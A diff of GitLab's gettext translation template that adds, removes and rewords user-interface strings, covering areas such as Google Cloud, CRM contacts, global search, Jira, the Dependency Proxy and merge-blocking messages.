+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
